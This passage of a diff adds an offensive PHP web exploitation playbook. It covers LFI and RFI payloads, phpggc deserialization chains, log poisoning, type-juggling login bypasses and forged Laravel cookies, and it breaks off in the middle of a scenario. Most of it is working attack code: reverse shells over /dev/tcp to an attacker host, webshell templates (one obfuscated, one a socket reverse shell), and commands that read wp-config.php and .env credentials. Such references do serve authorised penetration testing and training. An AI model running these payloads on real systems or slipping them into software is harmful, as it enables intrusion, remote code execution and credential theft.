251
|
+
# Null byte (PHP < 5.3.4)
|
|
252
|
+
curl "$TARGET/?page=../../../../etc/passwd%00"
|
|
253
|
+
# Path truncation (old PHP)
|
|
254
|
+
curl "$TARGET/?page=../../../../etc/passwd........................................................................................................................................................................................................................................."
|
|
255
|
+
|
|
256
|
+
# RFI with data:// wrapper
|
|
257
|
+
curl "$TARGET/?page=data://text/plain,<?php system('id'); ?>"
|
|
258
|
+
curl "$TARGET/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="
|
|
259
|
+
|
|
260
|
+
# LFI via zip:// (if zip upload possible)
|
|
261
|
+
zip -j shell.zip shell.php
|
|
262
|
+
curl -F "file=@shell.zip" $TARGET/upload
|
|
263
|
+
curl "$TARGET/?page=zip:///var/www/html/uploads/shell.zip%23shell"
|
|
264
|
+
|
|
265
|
+
# RFI via expect:// (if expect module loaded)
|
|
266
|
+
curl "$TARGET/?page=expect://id"
|
|
267
|
+
|
|
268
|
+
# phpggc with HMAC signing bypass — for frameworks that sign serialized data
|
|
269
|
+
# Laravel: forge the app key if obtained from .env
|
|
270
|
+
# If APP_KEY is found: base64:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
|
|
271
|
+
./phpggc Laravel/RCE6 -b system id | \
|
|
272
|
+
python3 -c "
|
|
273
|
+
import sys, base64, hashlib, hmac
|
|
274
|
+
key = base64.b64decode('YOUR_BASE64_APP_KEY')
|
|
275
|
+
payload = sys.stdin.read().strip()
|
|
276
|
+
payload_bytes = base64.b64decode(payload)
|
|
277
|
+
iv = b'\\x00' * 16
|
|
278
|
+
import os; iv = os.urandom(16)
|
|
279
|
+
import json
|
|
280
|
+
data = base64.b64encode(payload_bytes).decode()
|
|
281
|
+
mac = hmac.new(key, (base64.b64encode(iv) + data.encode()), hashlib.sha256).hexdigest()
|
|
282
|
+
print(base64.b64encode(json.dumps({'iv': base64.b64encode(iv).decode(), 'value': data, 'mac': mac}).encode()).decode())
|
|
283
|
+
"
|
|
284
|
+
|
|
285
|
+
# WordPress cookie forgery + deserialization
|
|
286
|
+
# If you have WordPress secret keys from wp-config.php:
|
|
287
|
+
# Forge auth cookie with malicious serialized user object
|
|
288
|
+
|
|
289
|
+
# Identify eval() sinks via source code grep
|
|
290
|
+
grep -rn "eval\s*(" /var/www/html/ 2>/dev/null
|
|
291
|
+
grep -rn "assert\s*(" /var/www/html/ 2>/dev/null
|
|
292
|
+
grep -rn "preg_replace.*\/e" /var/www/html/ 2>/dev/null
|
|
293
|
+
grep -rn "create_function" /var/www/html/ 2>/dev/null
|
|
294
|
+
grep -rn "call_user_func" /var/www/html/ 2>/dev/null
|
|
295
|
+
```
|
|
296
|
+
|
|
297
|
+
---
|
|
298
|
+
|
|
299
|
+
## 4. Step-by-Step Numbered Workflow
|
|
300
|
+
|
|
301
|
+
### Phase 1: Fingerprint and Enumerate
|
|
302
|
+
|
|
303
|
+
1. **Identify PHP version and framework**
|
|
304
|
+
```bash
|
|
305
|
+
curl -sI $TARGET | grep -i "x-powered-by\|server\|php"
|
|
306
|
+
whatweb $TARGET
|
|
307
|
+
wappalyzer-cli $TARGET # or check via browser extension
|
|
308
|
+
```
|
|
309
|
+
|
|
310
|
+
2. **Enumerate PHP-specific paths**
|
|
311
|
+
```bash
|
|
312
|
+
gobuster dir -u $TARGET \
|
|
313
|
+
-w /usr/share/seclists/Discovery/Web-Content/PHP.fuzz.txt \
|
|
314
|
+
-x php,php5,php7,phtml,phar \
|
|
315
|
+
-o gobuster_php.txt
|
|
316
|
+
```
|
|
317
|
+
|
|
318
|
+
3. **Find file inclusion parameters**
|
|
319
|
+
```bash
|
|
320
|
+
ffuf -u "$TARGET/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt \
|
|
321
|
+
-e .php -mc 200,301,302,403
|
|
322
|
+
|
|
323
|
+
# Fuzz parameter names for LFI
|
|
324
|
+
ffuf -u "$TARGET/index.php?FUZZ=../../../../etc/passwd" \
|
|
325
|
+
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
|
|
326
|
+
-fr "No input file specified" -mr "root:x:"
|
|
327
|
+
```
|
|
328
|
+
|
|
329
|
+
4. **Check for serialized data in cookies and requests**
|
|
330
|
+
```bash
|
|
331
|
+
# Look for base64 in cookies
|
|
332
|
+
curl -v $TARGET 2>&1 | grep -i "set-cookie"
|
|
333
|
+
# Decode and inspect
|
|
334
|
+
echo "COOKIE_VALUE" | base64 -d | xxd | head -5
|
|
335
|
+
# PHP serialized objects start with: O:, a:, s:, i:, b:
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
5. **Source code discovery (if accessible)**
|
|
339
|
+
```bash
|
|
340
|
+
# Try common backup files
|
|
341
|
+
for ext in .bak .old .orig .backup ~; do
|
|
342
|
+
curl -so /dev/null -w "%{http_code} $TARGET/index.php$ext\n" "$TARGET/index.php$ext"
|
|
343
|
+
done
|
|
344
|
+
# phpinfo() exposure
|
|
345
|
+
curl "$TARGET/phpinfo.php" | grep -i "php version\|allow_url_include\|disable_functions"
|
|
346
|
+
```
|
|
347
|
+
|
|
348
|
+
### Phase 2: Confirm Vulnerability
|
|
349
|
+
|
|
350
|
+
6. **Confirm LFI**
|
|
351
|
+
```bash
|
|
352
|
+
curl "$TARGET/index.php?page=../../../../etc/passwd" | grep "root:x:"
|
|
353
|
+
curl "$TARGET/index.php?page=php://filter/convert.base64-encode/resource=config.php" | \
|
|
354
|
+
base64 -d
|
|
355
|
+
```
|
|
356
|
+
|
|
357
|
+
7. **Confirm deserialization**
|
|
358
|
+
```bash
|
|
359
|
+
# Send a crafted serialized string and look for errors that reveal class names
|
|
360
|
+
curl -b "data=O:1:\"a\":0:{}" $TARGET/
|
|
361
|
+
# PHP will throw: Class "a" not found — confirms unserialize() is called
|
|
362
|
+
```
|
|
363
|
+
|
|
364
|
+
8. **Confirm type juggling**
|
|
365
|
+
```bash
|
|
366
|
+
# Test login with magic hash values
|
|
367
|
+
curl -d "user=admin&pass=240610708" $TARGET/login.php -L -c cookies.txt
|
|
368
|
+
curl -b cookies.txt $TARGET/admin/
|
|
369
|
+
```
|
|
370
|
+
|
|
371
|
+
### Phase 3: Exploit and Achieve RCE
|
|
372
|
+
|
|
373
|
+
9. **Set up listener**
|
|
374
|
+
```bash
|
|
375
|
+
pwncat-cs -lp $LPORT
|
|
376
|
+
# or
|
|
377
|
+
nc -nlvp $LPORT
|
|
378
|
+
```
|
|
379
|
+
|
|
380
|
+
10. **Execute payload delivery** (see scenarios below)
|
|
381
|
+
|
|
382
|
+
11. **Upgrade shell**
|
|
383
|
+
```bash
|
|
384
|
+
# Inside reverse shell:
|
|
385
|
+
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|
386
|
+
export TERM=xterm
|
|
387
|
+
# Ctrl+Z
|
|
388
|
+
stty raw -echo; fg
|
|
389
|
+
```
|
|
390
|
+
|
|
391
|
+
### Phase 4: Post-Exploitation and Documentation
|
|
392
|
+
|
|
393
|
+
12. **Capture evidence**
|
|
394
|
+
```bash
|
|
395
|
+
id; whoami; hostname; cat /etc/passwd; ip a
|
|
396
|
+
# Screenshot or log all output
|
|
397
|
+
```
|
|
398
|
+
|
|
399
|
+
13. **Identify further pivot points**
|
|
400
|
+
```bash
|
|
401
|
+
cat /var/www/html/wp-config.php 2>/dev/null
|
|
402
|
+
cat /var/www/html/.env 2>/dev/null
|
|
403
|
+
find /var/www -name "*.conf" -o -name "config.php" 2>/dev/null
|
|
404
|
+
```
|
|
405
|
+
|
|
406
|
+
---
|
|
407
|
+
|
|
408
|
+
## 5. Actual Working Terminal Commands
|
|
409
|
+
|
|
410
|
+
### phpggc Command Reference
|
|
411
|
+
|
|
412
|
+
```bash
|
|
413
|
+
# List all chains for a specific framework
|
|
414
|
+
./phpggc --list | grep -i symfony
|
|
415
|
+
./phpggc --list | grep -i laravel
|
|
416
|
+
./phpggc --list | grep -i wordpress
|
|
417
|
+
./phpggc --list | grep -i drupal
|
|
418
|
+
./phpggc --list | grep -i guzzle
|
|
419
|
+
|
|
420
|
+
# Show details about a specific chain (what it needs, what it does)
|
|
421
|
+
./phpggc -i Laravel/RCE1
|
|
422
|
+
|
|
423
|
+
# Generate payload — plain serialized
|
|
424
|
+
./phpggc Laravel/RCE1 system 'id'
|
|
425
|
+
|
|
426
|
+
# Generate payload — base64 encoded (for cookie injection)
|
|
427
|
+
./phpggc -b Laravel/RCE1 system 'id'
|
|
428
|
+
|
|
429
|
+
# Generate payload — URL encoded
|
|
430
|
+
./phpggc -u Laravel/RCE1 system 'id'
|
|
431
|
+
|
|
432
|
+
# Generate payload — JSON encoded
|
|
433
|
+
./phpggc -j Laravel/RCE1 system 'id'
|
|
434
|
+
|
|
435
|
+
# Generate payload — gzip + base64 (some frameworks expect this)
|
|
436
|
+
./phpggc -z -b Laravel/RCE1 system 'id'
|
|
437
|
+
|
|
438
|
+
# Reverse shell payload
|
|
439
|
+
./phpggc -b Laravel/RCE6 system \
|
|
440
|
+
"bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
|
|
441
|
+
|
|
442
|
+
# Write webshell to disk (if gadget supports file_put_contents)
|
|
443
|
+
./phpggc -b Laravel/FD1 file_put_contents \
|
|
444
|
+
'/var/www/html/shell.php' '<?php system($_GET["c"]); ?>'
|
|
445
|
+
|
|
446
|
+
# Symfony chains
|
|
447
|
+
./phpggc Symfony/RCE1 system 'id'
|
|
448
|
+
./phpggc Symfony/RCE4 system 'id' # Commonly works on Symfony 3.x
|
|
449
|
+
|
|
450
|
+
# Guzzle (often found in Laravel/Symfony via Composer)
|
|
451
|
+
./phpggc Guzzle/RCE1 system 'id'
|
|
452
|
+
./phpggc Guzzle/RCE2 system 'id'
|
|
453
|
+
|
|
454
|
+
# Monolog (logging library — widespread)
|
|
455
|
+
./phpggc Monolog/RCE1 system 'id'
|
|
456
|
+
./phpggc Monolog/RCE2 system 'id'
|
|
457
|
+
|
|
458
|
+
# Slim framework
|
|
459
|
+
./phpggc Slim/RCE1 system 'id'
|
|
460
|
+
|
|
461
|
+
# Yii framework
|
|
462
|
+
./phpggc Yii/RCE1 system 'id'
|
|
463
|
+
|
|
464
|
+
# Deliver via HTTP
|
|
465
|
+
PAYLOAD=$(./phpggc -b Laravel/RCE6 system 'id')
|
|
466
|
+
curl -H "Cookie: laravel_session=$PAYLOAD" $TARGET/
|
|
467
|
+
curl -d "token=$PAYLOAD" $TARGET/api/restore
|
|
468
|
+
```
|
|
469
|
+
|
|
470
|
+
### PHP Filter Chain Generator
|
|
471
|
+
|
|
472
|
+
```bash
|
|
473
|
+
cd ~/tools/php_filter_chain_generator
|
|
474
|
+
|
|
475
|
+
# Generate chain for a simple command
|
|
476
|
+
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
|
|
477
|
+
|
|
478
|
+
# Generate for a specific string (smaller payload)
|
|
479
|
+
python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'
|
|
480
|
+
|
|
481
|
+
# Use the output
|
|
482
|
+
CHAIN=$(python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>' | tail -1)
|
|
483
|
+
curl "$TARGET/index.php?page=$CHAIN&cmd=id"
|
|
484
|
+
curl "$TARGET/index.php?page=$CHAIN&cmd=whoami"
|
|
485
|
+
curl "$TARGET/index.php?page=$CHAIN&cmd=cat+/etc/passwd"
|
|
486
|
+
|
|
487
|
+
# Reverse shell via filter chain
|
|
488
|
+
CHAIN=$(python3 php_filter_chain_generator.py \
|
|
489
|
+
--chain "<?php system('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"'); ?>" | tail -1)
|
|
490
|
+
curl "$TARGET/index.php?page=$CHAIN"
|
|
491
|
+
```
|
|
492
|
+
|
|
493
|
+
### Log Poisoning Commands
|
|
494
|
+
|
|
495
|
+
```bash
|
|
496
|
+
# Via User-Agent injection into Apache logs
|
|
497
|
+
curl -A '<?php system($_GET["c"]); ?>' $TARGET/
|
|
498
|
+
curl "$TARGET/index.php?page=/var/log/apache2/access.log&c=id"
|
|
499
|
+
|
|
500
|
+
# Common Apache log locations
|
|
501
|
+
# /var/log/apache2/access.log
|
|
502
|
+
# /var/log/httpd/access_log (CentOS/RHEL)
|
|
503
|
+
# /var/log/apache/access.log
|
|
504
|
+
# /proc/self/fd/1 (stdout — sometimes captures request headers)
|
|
505
|
+
|
|
506
|
+
# Via nginx log
|
|
507
|
+
curl -A '<?php system($_GET["c"]); ?>' $TARGET/
|
|
508
|
+
curl "$TARGET/index.php?page=/var/log/nginx/access.log&c=id"
|
|
509
|
+
|
|
510
|
+
# Via SSH auth log
|
|
511
|
+
ssh '<?php system($_GET["c"]); ?>'@$TARGET 2>/dev/null
|
|
512
|
+
curl "$TARGET/index.php?page=/var/log/auth.log&c=id"
|
|
513
|
+
curl "$TARGET/index.php?page=/var/log/secure&c=id" # CentOS/RHEL
|
|
514
|
+
|
|
515
|
+
# Via mail log (if sendmail configured)
|
|
516
|
+
telnet $TARGET 25
|
|
517
|
+
MAIL FROM: test@test.com
|
|
518
|
+
RCPT TO: <?php system($_GET['c']); ?>
|
|
519
|
+
curl "$TARGET/index.php?page=/var/log/mail.log&c=id"
|
|
520
|
+
|
|
521
|
+
# /proc/self/environ (if accessible)
|
|
522
|
+
curl -H 'User-Agent: <?php system($_GET["c"]); ?>' $TARGET/
|
|
523
|
+
curl "$TARGET/index.php?page=/proc/self/environ&c=id"
|
|
524
|
+
```
|
|
525
|
+
|
|
526
|
+
---
|
|
527
|
+
|
|
528
|
+
## 6. Payload Examples with Explanations
|
|
529
|
+
|
|
530
|
+
### PHP Deserialization Object Payload (Manual Craft)
|
|
531
|
+
|
|
532
|
+
```php
|
|
533
|
+
<?php
|
|
534
|
+
// If target class has __wakeup() or __destruct() that executes code:
|
|
535
|
+
class EvilLogger {
|
|
536
|
+
public $command = "id";
|
|
537
|
+
|
|
538
|
+
function __destruct() {
|
|
539
|
+
system($this->command); // Triggered on object destruction
|
|
540
|
+
}
|
|
541
|
+
}
|
|
542
|
+
|
|
543
|
+
// Manually serialize
|
|
544
|
+
$obj = new EvilLogger();
|
|
545
|
+
$obj->command = "bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'";
|
|
546
|
+
echo serialize($obj);
|
|
547
|
+
// Output: O:10:"EvilLogger":1:{s:7:"command";s:52:"bash -c ...";}
|
|
548
|
+
?>
|
|
549
|
+
```
|
|
550
|
+
|
|
551
|
+
Explanation: When the target calls `unserialize()` on attacker-controlled data, PHP reconstructs the object and calls magic methods (`__wakeup`, `__destruct`, `__toString`) automatically. The gadget chain exploits existing classes in the application's codebase (not custom classes).
|
|
552
|
+
|
|
553
|
+
### PHP Filter Chain Mechanism (Explained)
|
|
554
|
+
|
|
555
|
+
```
|
|
556
|
+
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|
|
|
557
|
+
convert.iconv.UTF8.UTF7|convert.iconv.UTF8.BASE64|.../resource=/dev/null
|
|
558
|
+
```
|
|
559
|
+
|
|
560
|
+
How it works:
|
|
561
|
+
1. PHP filter chains apply transformations sequentially
|
|
562
|
+
2. Each `convert.iconv.*` transformation encodes/decodes byte sequences
|
|
563
|
+
3. By carefully choosing encoding conversions, arbitrary bytes can be generated
|
|
564
|
+
4. These bytes are assembled to form a valid PHP payload (`<?php system(...); ?>`)
|
|
565
|
+
5. The final resource is `/dev/null` — no file write needed, the payload IS the filter chain
|
|
566
|
+
6. PHP evaluates the generated bytes as PHP code when included via `include()`
|
|
567
|
+
|
|
568
|
+
### Type Juggling Payload Table
|
|
569
|
+
|
|
570
|
+
| Attack | Vulnerable Code | Bypass Value |
|
|
571
|
+
|--------|----------------|--------------|
|
|
572
|
+
| MD5 magic hash | `md5($pass) == "0e..."` | `240610708` or `QNKCDZO` |
|
|
573
|
+
| SHA1 magic hash | `sha1($pass) == "0e..."` | `aaroZmOk` or `aaK1STfY` |
|
|
574
|
+
| strcmp bypass | `strcmp($a, $b) == 0` | Pass array: `pass[]=x` |
|
|
575
|
+
| JSON bool | `$data->auth == "secret"` | `{"auth": true}` |
|
|
576
|
+
| Type coercion | `$val == 0` | `"nonNumericString"` → 0 |
|
|
577
|
+
| Null byte | `strpos($a,$b) == false` | String containing `\x00` at pos 0 |
|
|
578
|
+
| Array loose eq | `$arr == "string"` | PHP 7: false, PHP 5: true |
|
|
579
|
+
|
|
580
|
+
```bash
|
|
581
|
+
# strcmp bypass via HTTP parameter array
|
|
582
|
+
curl -d "password[]=arbitrary" $TARGET/login.php
|
|
583
|
+
|
|
584
|
+
# JSON boolean bypass
|
|
585
|
+
curl -H "Content-Type: application/json" \
|
|
586
|
+
-d '{"username":"admin","password":true}' \
|
|
587
|
+
$TARGET/api/login
|
|
588
|
+
```
|
|
589
|
+
|
|
590
|
+
### Webshell Templates
|
|
591
|
+
|
|
592
|
+
```php
|
|
593
|
+
<!-- Minimal one-liner webshell -->
|
|
594
|
+
<?php system($_GET['c']); ?>
|
|
595
|
+
|
|
596
|
+
<!-- POST-based webshell (harder to detect in logs) -->
|
|
597
|
+
<?php system($_POST['c']); ?>
|
|
598
|
+
|
|
599
|
+
<!-- Eval-based (obfuscated) -->
|
|
600
|
+
<?php @eval(base64_decode($_POST['c'])); ?>
|
|
601
|
+
|
|
602
|
+
<!-- Featureful webshell — command + file read -->
|
|
603
|
+
<?php
|
|
604
|
+
if(isset($_REQUEST['c'])) {
|
|
605
|
+
$cmd = $_REQUEST['c'];
|
|
606
|
+
echo '<pre>';
|
|
607
|
+
system($cmd);
|
|
608
|
+
echo '</pre>';
|
|
609
|
+
}
|
|
610
|
+
if(isset($_REQUEST['f'])) {
|
|
611
|
+
echo '<pre>' . htmlspecialchars(file_get_contents($_REQUEST['f'])) . '</pre>';
|
|
612
|
+
}
|
|
613
|
+
?>
|
|
614
|
+
|
|
615
|
+
<!-- Reverse shell trigger webshell -->
|
|
616
|
+
<?php
|
|
617
|
+
$ip = '10.10.14.5';
|
|
618
|
+
$port = 4444;
|
|
619
|
+
$sock = fsockopen($ip, $port);
|
|
620
|
+
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
|
|
621
|
+
?>
|
|
622
|
+
|
|
623
|
+
<!-- Weevely-style encrypted channel webshell (generate with weevely) -->
|
|
624
|
+
# weevely generate mypassword /tmp/shell.php
|
|
625
|
+
# weevely http://target.com/shell.php mypassword
|
|
626
|
+
```
|
|
627
|
+
|
|
628
|
+
### eval() Injection Payloads
|
|
629
|
+
|
|
630
|
+
```bash
|
|
631
|
+
# Direct eval injection — if parameter is passed to eval()
|
|
632
|
+
curl "$TARGET/vuln.php?code=system('id');"
|
|
633
|
+
|
|
634
|
+
# assert() injection (PHP < 8.0, assert() evaluates strings)
|
|
635
|
+
curl "$TARGET/vuln.php?page=assert('system(\"id\")')"
|
|
636
|
+
curl "$TARGET/index.php?page=assert(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(105).chr(100).chr(39).chr(41))"
|
|
637
|
+
|
|
638
|
+
# preg_replace with /e modifier (PHP < 7.0)
|
|
639
|
+
# If code does: preg_replace('/' . $pattern . '/e', $replacement, $subject)
|
|
640
|
+
curl "$TARGET/vuln.php?pat=.&rep=system('id')"
|
|
641
|
+
|
|
642
|
+
# create_function injection (deprecated PHP 7.2, removed PHP 8.0)
|
|
643
|
+
# If code does: $fn = create_function('', $userInput);
|
|
644
|
+
curl "$TARGET/vuln.php?code=system('id');//"
|
|
645
|
+
```
|
|
646
|
+
|
|
647
|
+
---
|
|
648
|
+
|
|
649
|
+
## 7. Tool Commands with Flags Explained
|
|
650
|
+
|
|
651
|
+
### phpggc Flag Reference
|
|
652
|
+
|
|
653
|
+
```
|
|
654
|
+
./phpggc [options] <GadgetChain> [function] [argument]
|
|
655
|
+
|
|
656
|
+
Options:
|
|
657
|
+
-l, --list List all available gadget chains
|
|
658
|
+
-i, --info <chain> Show chain details (PHP version, requirements)
|
|
659
|
+
-b, --base64 Base64-encode the output
|
|
660
|
+
-u, --url-encode URL-encode the output
|
|
661
|
+
-j, --json JSON-encode the output
|
|
662
|
+
-z, --gzip gzip the payload before encoding
|
|
663
|
+
-w, --write Write payload to file instead of stdout
|
|
664
|
+
-p, --phar <file> Generate a PHAR archive with the payload as metadata
|
|
665
|
+
--phar-jpg Generate PHAR inside a valid JPEG (for image upload bypass)
|
|
666
|
+
--phar-tar Generate PHAR inside a valid TAR archive
|
|
667
|
+
-s, --soft-exception Don't error if chain doesn't exist, try similar
|
|
668
|
+
-a, --ascii-strings Avoid non-ASCII in strings (WAF bypass)
|
|
669
|
+
-n, --no-header Omit the <?php header in phar stubs
|
|
670
|
+
-f, --fast-destruct Force immediate __destruct execution
|
|
671
|
+
--leak Use leak gadgets (e.g., for Blind SQLi via gadget)
|
|
672
|
+
|
|
673
|
+
Examples:
|
|
674
|
+
./phpggc -i Symfony/RCE4 # Show chain info
|
|
675
|
+
./phpggc -b Monolog/RCE1 system id # Base64 encoded RCE
|
|
676
|
+
./phpggc -p evil.phar Laravel/RCE1 system id # PHAR with metadata
|
|
677
|
+
./phpggc --phar-jpg evil.jpg Laravel/RCE1 system id # JPEG+PHAR polyglot
|
|
678
|
+
./phpggc -f -b Laravel/RCE9 system id # Force immediate destruct
|
|
679
|
+
```
|
|
680
|
+
|
|
681
|
+
### php_filter_chain_generator Flag Reference
|
|
682
|
+
|
|
683
|
+
```
|
|
684
|
+
python3 php_filter_chain_generator.py [options]
|
|
685
|
+
|
|
686
|
+
Options:
|
|
687
|
+
--chain '<php_code>' PHP code to encode into the filter chain
|
|
688
|
+
Tip: keep it short — longer chains = longer URLs
|
|
689
|
+
Use a simple stager: <?php system($_GET["c"]); ?>
|
|
690
|
+
--rawbase64 <b64> Provide raw base64 instead of PHP code
|
|
691
|
+
--file <file> Read PHP code from file
|
|
692
|
+
|
|
693
|
+
Output:
|
|
694
|
+
Prints the complete php://filter/... chain to stdout
|
|
695
|
+
Last line is the full chain — pipe with | tail -1 to capture it
|
|
696
|
+
|
|
697
|
+
Tips:
|
|
698
|
+
- Prepend php://filter/ to the chain when injecting into LFI param
|
|
699
|
+
- Some apps strip php:// — try encoding: php%3A%2F%2F
|
|
700
|
+
- Chain length can exceed 10,000 chars — use POST if GET truncates
|
|
701
|
+
```
|
|
702
|
+
|
|
703
|
+
### weevely Command Reference
|
|
704
|
+
|
|
705
|
+
```bash
|
|
706
|
+
# Generate stealth webshell
|
|
707
|
+
weevely generate <password> /path/to/shell.php
|
|
708
|
+
|
|
709
|
+
# Connect to deployed webshell
|
|
710
|
+
weevely http://target.com/uploads/shell.php <password>
|
|
711
|
+
|
|
712
|
+
# Execute command
|
|
713
|
+
weevely http://target.com/uploads/shell.php <password> -c 'id'
|
|
714
|
+
|
|
715
|
+
# Once in weevely session:
|
|
716
|
+
:help # Show all modules
|
|
717
|
+
:file_read /etc/passwd # Read files
|
|
718
|
+
:file_upload localfile.txt /tmp/remote.txt # Upload files
|
|
719
|
+
:sql_console # Interactive SQL console
|
|
720
|
+
:net_scan 192.168.1.0/24 80 443 # Network scan from pivot
|
|
721
|
+
:backdoor_reversetcp $LHOST $LPORT # Upgrade to full reverse shell
|
|
722
|
+
:audit_filesystem # Find writable directories
|
|
723
|
+
```
|
|
724
|
+
|
|
725
|
+
### ffuf for PHP Parameter/LFI Fuzzing
|
|
726
|
+
|
|
727
|
+
```bash
|
|
728
|
+
# Fuzz parameter names
|
|
729
|
+
ffuf -u "$TARGET/index.php?FUZZ=../../../../etc/passwd" \
|
|
730
|
+
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
|
|
731
|
+
-mr "root:x:" \ # Match response body regex
|
|
732
|
+
-ac # Auto-calibrate (filter false positives)
|
|
733
|
+
|
|
734
|
+
# Fuzz LFI paths
|
|
735
|
+
ffuf -u "$TARGET/index.php?page=FUZZ" \
|
|
736
|
+
-w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
|
|
737
|
+
-mr "root:x:\|nobody:" \
|
|
738
|
+
-fs 0 # Filter empty responses
|
|
739
|
+
|
|
740
|
+
# Fuzz file extensions for upload bypass
|
|
741
|
+
ffuf -u "$TARGET/upload.php" \
|
|
742
|
+
-X POST \
|
|
743
|
+
-F "file=@shell.FUZZ;type=image/jpeg" \
|
|
744
|
+
-F "submit=Upload" \
|
|
745
|
+
-w /usr/share/seclists/Fuzzing/extensions-most-popular.fuzz.txt \
|
|
746
|
+
-mr "uploaded\|success"
|
|
747
|
+
```
|
|
748
|
+
|
|
749
|
+
---
|
|
750
|
+
|
|
751
|
+
## 8. Real-World Attack Scenarios
|
|
752
|
+
|
|
753
|
+
### Scenario 1: Laravel Application — Deserialization via Encrypted Cookie
|
|
754
|
+
|
|
755
|
+
**Context:** Laravel web app, login page, valid credentials obtained or not needed. Cookie contains encrypted+serialized session data. `APP_KEY` discovered in `.env` via misconfigured backup file (`/.env.bak`).
|
|
756
|
+
|
|
757
|
+
**Steps:**
|
|
758
|
+
|
|
759
|
+
```bash
|
|
760
|
+
# 1. Discover the .env file
|
|
761
|
+
curl -s $TARGET/.env | grep APP_KEY
|
|
762
|
+
# APP_KEY=base64:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
|
|
763
|
+
|
|
764
|
+
# 2. Check installed gadget chains for Laravel
|
|
765
|
+
./phpggc --list | grep Laravel
|
|
766
|
+
|
|
767
|
+
# 3. Identify which Laravel version is running
|
|
768
|
+
curl -s $TARGET/composer.json 2>/dev/null | grep '"laravel/framework"'
|
|
769
|
+
# or check error pages, README, or admin panel
|
|
770
|
+
|
|
771
|
+
# 4. Generate the RCE payload using the correct chain
|
|
772
|
+
./phpggc -b Laravel/RCE9 system 'id'
|
|
773
|
+
# Laravel/RCE9 targets Illuminate Queue — works on Laravel 5.5-8.x
|
|
774
|
+
|
|
775
|
+
# 5. For authenticated Laravel apps, the payload must be encrypted with APP_KEY
|
|
776
|
+
# Use phpggc with --encrypt flag if supported, or use a custom script:
|
|
777
|
+
php -r "
|
|
778
|
+
\$key = base64_decode(substr('base64:YOUR_APP_KEY_HERE', 7));
|
|
779
|
+
\$payload = base64_decode('PHPGGC_BASE64_OUTPUT');
|
|
780
|
+
\$iv = random_bytes(16);
|
|
781
|
+
\$value = base64_encode(openssl_encrypt(\$payload, 'AES-256-CBC', \$key, 0, \$iv));
|
|
782
|
+
\$mac = hash_hmac('sha256', base64_encode(\$iv) . \$value, \$key);
|
|
783
|
+
echo base64_encode(json_encode(['iv' => base64_encode(\$iv), 'value' => \$value, 'mac' => \$mac]));
|
|
784
|
+
"
|
|
785
|
+
|
|
786
|
+
# 6. Set the forged cookie and trigger
|
|
787
|
+
curl -b "laravel_session=FORGED_ENCRYPTED_PAYLOAD" $TARGET/home
|
|
788
|
+
|
|
789
|
+
# 7. Alternatively, if unserialize() is called on raw user input (not encrypted):
|
|
790
|
+
PAYLOAD=$(./phpggc -b Laravel/RCE1 system 'id')
|
|
791
|
+
curl -d "token=$PAYLOAD" $TARGET/api/restore-session
|
|
792
|
+
|
|
793
|
+
# 8. Start listener and deliver reverse shell
|
|
794
|
+
pwncat-cs -lp 4444 &
|
|
795
|
+
PAYLOAD=$(./phpggc -b Laravel/RCE6 system \
|
|
796
|
+
"bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'")
|
|
797
|
+
curl -d "token=$PAYLOAD" $TARGET/api/restore-session
|
|
798
|
+
```
|
|
799
|
+
|
|
800
|
+
---
|
|
801
|
+
|
|
802
|
+
### Scenario 2: WordPress Plugin — LFI → PHP Filter Chain RCE
|
|
803
|
+
|
|
804
|
+
**Context:** WordPress site, vulnerable plugin with LFI in `?template=` parameter. Server is nginx with `allow_url_include=Off`. No log files accessible. Direct RCE via filter chains.
|
|
805
|
+
|
|
806
|
+
```bash
|
|
807
|
+
# 1. Discover LFI
|
|
808
|
+
wpscan --url $TARGET --enumerate p --plugins-detection aggressive
|
|
809
|
+
# Found: Custom-Template-Plugin v1.2 — vulnerable to LFI in ?template=
|
|
810
|
+
|
|
811
|
+
# 2. Confirm LFI
|
|
812
|
+
curl "$TARGET/?template=../../../../etc/passwd" | grep root
|
|
813
|
+
|
|
814
|
+
# 3. Attempt log poisoning (fails — no log access)
|
|
815
|
+
curl "$TARGET/?template=/var/log/nginx/access.log" # 403 or empty
|
|
816
|
+
|
|
817
|
+
# 4. Attempt phpinfo() for allow_url_include check
|
|
818
|
+
curl "$TARGET/?template=php://filter/convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini" | \
|
|
819
|
+
grep -oP '[A-Za-z0-9+/=]{100,}' | base64 -d | grep "allow_url_include"
|
|
820
|
+
# allow_url_include = Off — RFI not possible
|
|
821
|
+
|
|
822
|
+
# 5. Use PHP filter chain to achieve RCE without any prerequisites
|
|
823
|
+
cd ~/tools/php_filter_chain_generator
|
|
824
|
+
CHAIN=$(python3 php_filter_chain_generator.py \
|
|
825
|
+
--chain '<?php system($_GET["cmd"]); ?>' | tail -1)
|
|
826
|
+
|
|
827
|
+
# 6. Test RCE
|
|
828
|
+
curl -g "$TARGET/?template=$CHAIN&cmd=id"
|
|
829
|
+
# Response will contain: uid=33(www-data) gid=33(www-data)
|
|
830
|
+
|
|
831
|
+
# 7. Read wp-config.php for database credentials
|
|
832
|
+
curl -g "$TARGET/?template=$CHAIN&cmd=cat+/var/www/html/wp-config.php" | \
|
|
833
|
+
grep -i "db_pass\|db_name\|db_user"
|
|
834
|
+
|
|
835
|
+
